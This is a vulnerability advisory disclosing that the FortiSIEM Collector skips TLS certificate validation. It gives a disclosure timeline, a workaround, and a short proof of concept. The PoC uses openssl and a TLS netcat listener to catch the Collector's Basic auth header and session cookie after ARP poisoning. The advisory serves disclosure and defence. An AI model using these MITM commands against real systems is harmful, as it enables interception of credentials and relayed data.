Product Name: FortiSIEM Tested versions: 5.0, 5.2.1 Fixed in version: Only a manual workaround is available from Fortinet as of this writing Weakness Type: CWE-295 - Improper Certificate Validation Discovered by: Andrew Klaus (Cybera Canada) CVE: Pending == Disclosure Timeline: June 25, 2019: Initial Disclosure to Fortinet PSIRT (Received automated ticket response) July 15, 2019: Received response that the issue was forwarded to R&D Team July 23, 2019: Fortinet contacted me to test a configuration change July 24, 2019: Provided results of configuration change to Fortinet Sept 23, 2019: Reminded Fortinet of public disclosure date Oct 1, 2019: Public Disclosure == Summary: A FortiSIEM collector connects to a Supervisor/Worker over HTTPS TLS (443/TCP) to register itself as well as relaying event data such as syslog, netflow, SNMP, etc. When the Collector (the client) connects to the Supervisor/Worker (the server), the client does not validate the server-provided certificate against its root-CA store. Since the client does no server certificate validation, this means any certificate presented to the client will be considered valid and the connection will succeed. If an attacker spoofs a Worker/Supervisor using an ARP or DNS poisoning attack (or any other MITM attack), the Collector will blindly connect to the attacker's HTTPS TLS server. It will disclose the authentication password used along with any data being relayed. == Workaround: Fortinet has created a document for customers to follow to enable inter-node TLS validation. At this time, Fortinet won't set this flag by default since it will impact their existing customers. All new and existing customers will need to follow the workaround guide that Fortinet is providing in order to mitigate. == Proof of Concept (PoC): This PoC assumes a working Collector + Supervisor/Worker setup. This could just as easily work on a Collector that is first being registered. Note: This utilizes OpenBSD's netcat, which supports TLS. "nc" on other operating systems may not support TLS. (On attacker system) First generate a new self-signed certificate: $ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -nodes -days 365 Enter any dummy certificate details information. Netcat listen on a TLS socket: # nc -ckv6l -K key.pem -C cert.pem %IP% 443 Listening on %IP% 443 After successfully poisoning the ARP cache to redirect the Collector to a rogue server. The Collector will now connect to the attacker's TLS socket and start sending data. Connection received on %COLLECTOR-IP% 35244 GET /phoenix/rest/sync/task?custId=%ID%&agentId=%ID%&time=1561402888&phProcessName=phMonitorAgent HTTP/1.1 Authorization: Basic %AUTH-DATA% Host: %SUPERVISOR-HOSTNAME% Accept: */* Cookie: JSESSIONID=%COOKIE-VALUE% == Other Observations: I observed this in the phoenix.log file on the FortiSIEM appliance: [PH_GENERIC_DEBUG]:[eventSeverity]=PHL_DEBUG,[procName]=<unknown>,[fileName]=phHttpClient.cpp,[lineNumber]=1862,[phLogDetail]=set CURLOPT_SSL_VERIFYPEER to no This "VERIFYPEER" option determines whether curl verifies the authenticity of the peer's certificate. A value of 1 means curl verifies the SSL/TLS server certificate; 0 (zero) means it does not: https://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html. The following provisioning scripts also have hardcoded curl commands with the `-k / --insecure` flag set, which makes them susceptible to MITM'ing connections when provisioning: phProvisionCollector phProvisionWorker elastic_deploy.sh elastic_deploy_url.sh